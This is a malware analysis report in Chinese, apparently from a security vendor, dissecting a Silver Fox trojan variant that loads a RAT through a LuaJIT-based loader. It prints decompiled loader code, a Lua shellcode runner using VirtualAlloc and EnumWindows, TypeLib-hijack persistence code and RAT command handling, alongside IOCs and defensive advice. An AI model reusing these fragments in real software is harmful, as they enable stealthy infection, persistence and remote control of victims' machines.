多层嵌套下的隐蔽袭击:银狐木马LuaJIT变种攻击链分析

概述

  近期,瑞星通过自动化沙盒捕获到一个银狐家族的最新变种样本。该变种关联的攻击活动目标明确,攻击链高度复杂且极具迷惑性,其在沿用银狐家族传统手法——多层安装包嵌套(NSIS+Inno Setup)、内存反射加载、隐蔽进程注入及DLL侧加载(白加黑)——的基础上,新增了Lua脚本作为中间攻击组件以投递RAT载荷,并利用TypeLib劫持实现持久化驻留。

image

  本次攻击中,银狐家族借助内嵌LuaJIT编译器的恶意DLL加载执行Lua脚本,进而在内存中执行恶意代码。该手法隐蔽性强、抗检测能力突出,传统文件特征检测与静态分析手段难以有效识别,标志着银狐木马在逃避检测方面的新演进。

事件详情

  本次攻击事件中,攻击者利用极具吸引力的政治新闻标题作为文件名,诱骗用户点击。文件执行后,通过多层嵌套的安装包逐步释放恶意载荷,最终在受害者主机上植入具备完整远控能力的银狐木马。整个攻击过程分为三个阶段:载荷投递与释放脚本加载与ShellCode解密木马加载与持久化。各阶段环环相扣,展现出高度的模块化设计:Lua脚本作为攻击逻辑载体,使攻击者无需重新编译加载器即可灵活变更恶意行为;TypeLib劫持提供了一种隐蔽且不易被常规安全工具排查的持久化手段;反射式加载与内存执行有效规避了基于文件的检测机制。各模块之间通过文件系统和注册表传递数据,整体分工明确,体现了银狐家族成熟的攻击工程化能力。

攻击流程

image

样本分析

初始样本分析

字段 内容
文件名 Gây_sốc!_Các_quan_chức_cấp_cao_của_Mỹ_tiết_lộ_câu_chuyện_hậu_trường.exe
文件大小 2.22 MB (2,337,516 bytes)
文件MD5 cc556584e7f787987156b5dc8b8cd412
文件类型 EXE

  初始样本为NSIS安装包,利用具有迷惑性的文件名(惊人!美国高官披露幕后细节)诱使用户点击执行。其NSIS脚本负责释放并运行内嵌的恶意载荷setup.exe

InstallDir C:\ProgramLog\Windows\AppData\Local\Microsoft\Log                    ;安装目录
Section ; Section_0
  SetOutPath $INSTDIR
  File setup.exe                                                                ;从安装包中释放setup.exe
  ExecWait "$\"$INSTDIR\setup.exe$\" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART"  ;静默执行释放的setup.exe
SectionEnd

  样本将自身安装于非标准路径C:\ProgramLog\Windows\AppData\Local\Microsoft\Log,意图伪装成微软官方日志目录以规避检测。该setup.exeInno Setup安装包,这种多安装包嵌套方式是银狐家族的典型攻击手法,用于进一步释放并运行其余恶意组件。

image

Microsoft.WindowsAppRuntime.Bootstrap.dll分析

字段 内容
文件名 Microsoft.WindowsAppRuntime.Bootstrap.dll
文件大小 737 KB (754,688 bytes)
文件MD5 351783d995517b66976deec6f394f9d4
病毒名 Trojan.LuaLoader!1.14063
文件类型 DLL
主要功能 内嵌LuaJIT编译器执行同目录下的恶意Lua脚本

  该样本伪装成Windows合法库文件,利用DLL侧加载技术通过合法宿主EXE加载执行。该样本通过静态链接LuaJIT 2.1脚本引擎,负责读取同目录下的Setting.lua脚本并执行。

  主函数执行流程:

  v0 = lua_newstate();                          // 创建LuaJIT虚拟机
  v1 = v0;
  if ( v0 )
  {
    luaL_openlibs(v0);                          // 加载所有标准Lua库
    GetModuleFileNameA(0, Filename, 0x104u);
    strcpy(v7, "Setting");                      // 文件名
    strcpy(v8, ".lua");                         // 文件后缀
    sub_10060300(v6, 260, v7);
    sub_1006C0C0(v6, 260, v8);
    v2 = (_BYTE *)sub_1005D9C0(Filename, 92);   // 获取当前进程路径
    if ( v2 )
      *v2 = 0;
    snprintf(v4, 260, "%s\\%s", Filename, v6);  // 获取目标脚本完整路径
    if ( !load_and_exec_lua_100099A0(v1, v4) )  // 加载并执行Lua脚本
      sub_10008C50(v1, 0, -1, 0);
    lua_close_10007820(v1);                     // 关闭虚拟机
  }

  以读文件模式获取脚本内容,调用lua_load将代码加载至Lua虚拟机,随后通过lua_pcall执行:

    v23 = fopen(a2, &unk_1009B29C);             // 读模式打开lua脚本
    if ( !v23 )                                 // 打开失败则提示错误并退出
    {
      *(_DWORD *)(a1 + 20) -= 8;
      v2 = (_DWORD *)sub_1006C295();
      v3 = (const char *)sub_1007755C(*v2);
      lua_pushfstring(a1, "cannot open %s: %s", a2, v3);
      return 6;
    }
    v5 = v11;
  }
  else
  {
    v23 = sub_1006C372(0);
    v5 = "=stdin";
  }
  v19 = sub_10009DE0;
  v20 = &v23;
  v6 = "?";
  v22 = 0;
  if ( v5 )
    v6 = v5;
  v18 = a1;
  v21 = v6;
  v17 = 0;
  v16 = 0;
  v15 = 0;
  v12 = lua_pcall(a1, 0, v14, sub_10009730);    //调用lua_load函数将Lua代码加载到Lua虚拟机,然后调用真正的lua_call执行

Setting.lua分析

字段 内容
文件名 Setting.lua
文件大小 1.46 MB (1,537,941 bytes)
文件MD5 7700af21a6c872add44074edc1242251
病毒名 Trojan.ShellCodeRunner/LUA!1.14059
文件类型 LUA
主要功能 在内存中加载内嵌的ShellCode

  Setting.lua作为载荷加载器,负责将内嵌的一段加密二进制数据(ShellCode)解密并在内存中执行。该脚本通过导入ffi模块获得对Windows API的直接调用能力,依次调用VirtualAllocVirtualProtectEnumWindows等函数完成ShellCode的解密、内存分配、权限修改及回调执行。

  此外,该脚本通过修改注册表项实现TypeLib劫持,使log.s脚本能够在系统启动时自动执行,从而完成本地持久化驻留。log.s则负责启动白加黑技术中的白文件TGFile.exe,维持整个攻击链条的完整运行。

local regPath = "SOFTWARE\\Classes\\TypeLib\\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\\1.1\\0\\win64"
local sctPath = "script:C:\\ProgramLog\\Windows\\AppData\\Local\\Microsoft\\Log\\log.s"

local hKey = ffi.new("HKEY[1]")
local disposition = ffi.new("DWORD[1]")

local result = advapi32.RegCreateKeyExA(
    HKEY_CURRENT_USER,
    regPath,
    0,
    nil,
    REG_OPTION_NON_VOLATILE,
    KEY_WRITE,
    nil,
    hKey,
    disposition
)

  解密并执行内置的硬编码ShellCode:

--RC4 解密函数
local function rc4_decrypt(data_table, key)
    local S = {}
    for i = 0, 255 do
        S[i] = i
    end

    local j = 0
    local key_len = #key

    for i = 0, 255 do
        j = (j + S[i] + string.byte(key, (i % key_len) + 1)) % 256
        S[i], S[j] = S[j], S[i]
    end

    local i = 0
    j = 0
    local decrypted_bytes = {}

    for idx, byte_val in ipairs(data_table) do
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        local K = S[(S[i] + S[j]) % 256]
        decrypted_bytes[idx] = string.char(bit.bxor(byte_val, K))
    end

    return table.concat(decrypted_bytes)
end

--解密 ShellCode
local decrypted_ShellCode = rc4_decrypt(encrypted_ShellCode_table, rc4_key)
local ShellCode_size = #decrypted_ShellCode

--分配可读写内存(初始为 RW)
local exec_mem = kernel32.VirtualAlloc(nil, ShellCode_size, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE)

--复制解密后的 ShellCode 到内存
ffi.copy(exec_mem, decrypted_ShellCode, ShellCode_size)
print("ShellCode copied to memory.")

--将内存权限改为可执行可读(RX)
local old_protect = ffi.new("DWORD[1]")
result = kernel32.VirtualProtect(exec_mem, ShellCode_size, PAGE_EXECUTE_READ, old_protect)

--使用 EnumWindows 回调执行 ShellCode
local callback_func = ffi.cast("void*", exec_mem)
user32.EnumWindows(callback_func, 0)

ShellCode分析

字段 内容
文件大小 244 KB (249,864 bytes)
文件MD5 a3bb0c26fb1412e74f918145b0cc62fd
病毒名 Trojan.ShellCodeRunner!1.12B6C
主要功能 内存中加载执行银狐木马

  该ShellCode由反射型加载器与内嵌PE程序两部分构成。加载器通过call/pop技巧获取自身在内存中的绝对地址,进而定位并解析内嵌的PE结构。其核心加载流程包括:通过遍历PEB(进程环境块)配合ROR-13哈希算法动态解析API地址,避免依赖导入表和明文字符串;完成PE文件头校验、内存分配、节区复制、基址重定位修正、导入表填充及内存权限设置,最终调用DllMain入口点将内嵌的PE程序在内存中完全展开并执行。

  加载器通过FlushInstructionCache强制CPU刷新指令缓存,确保处理器执行的是最新修正后的机器码,随后跳转至加载后的PE程序入口点:

seg000:000009FE                         loc_9FE:                                ; CODE XREF: sub_31+8E2↑j
seg000:000009FE 6A 00                                   push    0
seg000:00000A00 6A 00                                   push    0
seg000:00000A02 6A FF                                   push    0FFFFFFFFh
seg000:00000A04 FF 94 24 C4 00 00 00                    call    [esp+130h+FlushInstructionCache_v99] ; 强制CPU刷新指令缓存
seg000:00000A0B 83 BD C4 00 00 00 00                    cmp     dword ptr [ebp+0C4h], 0
seg000:00000A12 74 26                                   jz      short call_DLLMain_A3A
seg000:00000A14 8B 85 C0 00 00 00                       mov     eax, [ebp+0C0h]
seg000:00000A1A 8B 74 18 0C                             mov     esi, [eax+ebx+0Ch]
seg000:00000A1E 8B 06                                   mov     eax, [esi]
seg000:00000A20 85 C0                                   test    eax, eax
seg000:00000A22 74 16                                   jz      short call_DLLMain_A3A ; 跳转执行内嵌PE的DLLMain函数
seg000:00000A24 33 ED                                   xor     ebp, ebp
seg000:00000A26 45                                      inc     ebp
seg000:00000A27
seg000:00000A27                         loc_A27:                                ; CODE XREF: sub_31+A03↓j
seg000:00000A27 6A 00                                   push    0
seg000:00000A29 55                                      push    ebp
seg000:00000A2A 53                                      push    ebx
seg000:00000A2B FF D0                                   call    eax
seg000:00000A2D 8D 76 04                                lea     esi, [esi+4]
seg000:00000A30 8B 06                                   mov     eax, [esi]
seg000:00000A32 85 C0                                   test    eax, eax
seg000:00000A34 75 F1                                   jnz     short loc_A27
seg000:00000A36 8B 6C 24 28                             mov     ebp, [esp+124h+var_FC]
seg000:00000A3A
seg000:00000A3A                         call_DLLMain_A3A:                       ; CODE XREF: sub_31+9E1↑j
seg000:00000A3A                                                                 ; sub_31+9F1↑j
seg000:00000A3A 33 C0                                   xor     eax, eax
seg000:00000A3C 40                                      inc     eax
seg000:00000A3D 50                                      push    eax
seg000:00000A3E 50                                      push    eax
seg000:00000A3F 8B 45 28                                mov     eax, [ebp+28h]  ; 读取PE头中的AddressOfEntryPoint
seg000:00000A42 53                                      push    ebx
seg000:00000A43 03 C3                                   add     eax, ebx
seg000:00000A45 FF D0                                   call    eax             ; 调用DllMain

银狐木马分析

字段 内容
文件大小 241 KB (246,788 bytes)
文件MD5 29def65ede537c29695a5d84c18fa790
病毒名 Backdoor.SilverFox!1.1385D
文件类型 DLL
主要功能 远程控制木马

  该样本为银狐木马的RAT功能模块,采用C++/ATL编写,设计为由父加载器动态加载执行的插件式DLL,导出loadrun函数供上层调用。其功能覆盖全面:通过DirectInput实现键盘记录,通过GDI+完成屏幕截图与JPEG编码,具备剪贴板窃取、进程镂空注入(目标svchost.exe)、SeDebugPrivilege提权、文件上传/下载/删除、注册表持久化(Run键)、系统信息收集及关机/重启等远控能力。网络通信采用自实现的ARQ可靠传输协议,基于WSAEventSelect异步事件驱动模型,支持序列号确认、RTT/RTO自适应计算、滑动窗口流控及保活探测,确保C2通信的稳定性。

  样本内置多重反分析机制:通过onlyloadinmyself验证父加载器合法性,通过ngyixiugaidaochuhanshu(拼音:你已修改导出函数)校验导出表完整性以防止篡改。关键标识字符串及含义如下:

字符串 位置 (文件偏移) 含义
onlyloadinmyself 0x2EAD0 反独立加载检查 – DLL 拒绝非父进程加载
plugmark 0x2EB08 插件标记 – 用于模块身份识别
ngyixiugaidaochuhanshu 0x32624 中文拼音"你已修改导出函数" – 反篡改检测

  C2配置信息(地址、端口、启动标志等)以编码形式硬编码于样本内部,格式如~1:1t ~7666:1o ~071.202.842.32:1p,用于规避特征码检测。运行后配置信息被写入注册表,后续通过注册表读写进行存取与更新。

result = wcsstr(config_info, L"codemark");    // 查找字符串"codemark"
if ( !result )
{
  _wcsrev((wchar_t *)config_info);            // 字符串反转
  memset(&Data, 0, 0x12A0u);
  sub_10008950(config_info, L"p1:", p1_value, 0); //根据键名设定各配置项的缓冲区指针
  sub_10008950(config_info, L"o1:", o1_vlaue, 0);
  sub_10008950(config_info, L"t1:", 0, (int)&t1_value);
  sub_10008950(config_info, L"p2:", p2_value, 0);
  sub_10008950(config_info, L"o2:", o2_value, 0);
  sub_10008950(config_info, L"t2:", 0, (int)&t2_value);
  sub_10008950(config_info, L"p3:", word_1003C29C, 0);
  sub_10008950(config_info, L"o3:", word_1003C49A, 0);
  sub_10008950(config_info, L"t3:", 0, (int)&dword_1003C4D8);
  sub_10008950(config_info, L"dd:", &word_1003C4DC, 0);
  sub_10008950(config_info, L"cl:", word_1003C518, 0);
  sub_10008950(config_info, L"fz:", Source, 0);
  sub_10008950(config_info, L"bb:", word_1003C5B8, 0);
  sub_10008950(config_info, L"bz:", &Name, 0);
  sub_10008950(config_info, L"jp:", 0, (int)&dword_1003C680);
  sub_10008950(config_info, L"bh:", 0, (int)&unk_1003C688);
  sub_10008950(config_info, L"ll:", 0, (int)&dword_1003C68C);
  sub_10008950(config_info, L"dl:", 0, (int)&unk_1003C690);
  sub_10008950(config_info, L"sh:", 0, (int)&unk_1003C694);
  sub_10008950(config_info, L"kl:", 0, (int)&unk_1003C698);
  sub_10008950(config_info, L"bd:", 0, (int)&dword_1003C69C);
  RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, 0x102u, &phkResult);
  RegDeleteValueW(phkResult, L"IpDates_info");
  RegSetValueExW(phkResult, L"IpDates_info", 0, 3u, &Data, 0x12A0u);
  ```

  `ARQ`协议日志字符串及远控功能对应的命令分发代码如下:

| 格式字符串                             | 含义                                         |
|---------------------------------------|----------------------------------------------|
| `"recv sn=%lu"`                       | 接收数据包,序列号 sn                         |
| `"input ack: sn=%lu rtt=%ld rto=%ld"` | ACK 确认:序列号、RTT(往返时间)、RTO(重传超时) |
| `"input psh: sn=%lu ts=%lu"`          | PSH 推送:序列号、时间戳                      |
| `"input probe"`                       | 保活探测包                                   |
| `"input wins: %lu"`                   | 滑动窗口大小更新                              |
| `"[RI] %d bytes"`                     | 接收字节数统计                                |
| `"[RO] %ld bytes"`                    | 发送字节数统计                                |

  远控木马部分命令代码如下:

```c
case 5:                                   // 写入文件
  sub_1000FF40((int)Src, Size);
  return;
case 6:                                   // 执行命令
  v44 = 0;
  v17 = (void *)_beginthreadex(0, 0, (_beginthreadex_proc_type)sub_10010650, Src + 1, 0, &v44);
  goto LABEL_31;
case 8:                                   // 查找特定进程
  sub_1000F690((int)lpData, (const unsigned __int16 *)(Src + 1));
  return;
case 10:                                  // 屏幕截图
  v38 = *(_DWORD *)(Src + 5);
  v35 = *(_DWORD *)(Src + 1);
  cbData = 0;
  phkResult = 0;
  v44 = 0;
  v22 = screenshot_1000F940((int *)&phkResult, (int *)&v44, &cbData, 0, 1, v35, v38);
case 18:                                  // 更新注册表内存储的配置信息
  v29 = (BYTE *)operator new(0x7D2u);
  memcpy_0(v29, Src, Size);
  RegOpenKeyExW(HKEY_CURRENT_USER, L"Console", 0, 2u, (PHKEY)&Type);
  RegDeleteValueW((HKEY)Type, L"IpDate");
  v30 = (const WCHAR *)(v29 + 2);
  if ( RegSetValueExW((HKEY)Type, L"IpDate", 0, 3u, v29 + 2, Size - 1) )
  {
    v31 = (wchar_t *)operator new(0x200u);
    memset(v31, 0, 0x200u);
    *(_BYTE *)v31 = 1;
    wcscpy_s(v31 + 1, 0xFFu, &word_1002FA1C);
    if ( !*((_DWORD *)lpData + 2) )
      (*(void (__thiscall **)(_DWORD, wchar_t *, int))(**((_DWORD **)lpData + 1) + 8))(
        *((_DWORD *)lpData + 1),
        v31,
        512);
    operator delete(v31);
    RegCloseKey((HKEY)Type);
  }
  else
  {
    v32 = (wchar_t *)operator new(0x200u);
    memset(v32, 0, 0x200u);
    *(_BYTE *)v32 = 1;
    wcscpy_s(v32 + 1, 0xFFu, &word_1002FA30);
    if ( !*((_DWORD *)lpData + 2) )
      (*(void (__thiscall **)(_DWORD, wchar_t *, int))(**((_DWORD **)lpData + 1) + 8))(
        *((_DWORD *)lpData + 1),
        v32,
        512);
    operator delete(v32);
    sub_10008950(v30, L"p1:", p1_value, 0);
    sub_10008950(v30, L"o1:", o1_vlaue, 0);
    sub_10008950(v30, L"t1:", 0, &t1_value);
    sub_10008950(v30, L"p2:", p2_value, 0);
    sub_10008950(v30, L"o2:", o2_value, 0);
    sub_10008950(v30, L"t2:", 0, &t2_value);
    sub_10008950(v30, L"p3:", word_1003C29C, 0);
    sub_10008950(v30, L"o3:", word_1003C49A, 0);
    sub_10008950(v30, L"t3:", 0, &dword_1003C4D8);
    RegCloseKey((HKEY)Type);
    Sleep(0x7D0u);
    (***((void (__thiscall ****)(_DWORD))lpData + 1))(*((_DWORD *)lpData + 1));
  }
  return;

攻击过程可视化(EDR)

  瑞星`EDR`详细记录了主机上的程序活动,借助威胁可视化调查功能可对本次攻击过程进行还原,展示相关进程、`IP`等关联关系。下图展示了此次攻击活动中涉及的主要进程及相关网络基础设施。

image

总结

  本次攻击是银狐家族在技术演进上的重要节点,标志着该组织从传统的内存加载、进程注入等常规躲避手段,进一步拓展至`LuaJIT`脚本引擎与`TypeLib`劫持的全新组合。这一组合带来的核心威胁在于:恶意逻辑完全存在于`Lua`脚本层面,加载器仅充当`解释器`角色,导致传统基于`PE`文件特征的检测手段几乎失效;同时,`TypeLib`劫持提供了一种不依赖常规启动目录或计划任务的隐蔽持久化方式,进一步增加了排查难度。

  最终载荷具备完整的`RAT`功能,涵盖键盘记录、屏幕捕获、文件操作、远程命令执行等行为,结合`ARQ`可靠传输协议实现稳定的`C2`通信。建议安全团队将`LuaJIT`进程行为、`TypeLib`注册表项变更及非标准目录下的`DLL`侧加载行为纳入重点监控范围。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑文件和邮件,尤其警惕带有密码保护压缩包附件的钓鱼邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知与`EDR`等行为检测产品。

    网关安全产品可利用威胁情报追溯攻击行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的。同时,`EDR`产品可通过进程行为、内存注入、网络连接等多维度行为规则进行检测。

  3. 安装有效的杀毒软件。

    杀毒软件可拦截恶意文档和木马病毒。如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护终端安全。

    瑞星目前已可检出此次攻击事件的相关样本。

image

  1. 通用安全建议:及时修补系统补丁和重要软件补丁。

    及时修补系统补丁和重要软件补丁是防御各类攻击的基础措施。

沦陷信标(IOC)

  • MD5

    cc556584e7f787987156b5dc8b8cd412
    351783d995517b66976deec6f394f9d4
    7700af21a6c872add44074edc1242251
    a3bb0c26fb1412e74f918145b0cc62fd
    29def65ede537c29695a5d84c18fa790
  • IPV4

    23.248.202.170
  • 瑞星病毒名

    Trojan.LuaLoader!1.14063
    Trojan.ShellCodeRunner/LUA!1.14059
    Backdoor.SilverFox!1.1385D

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *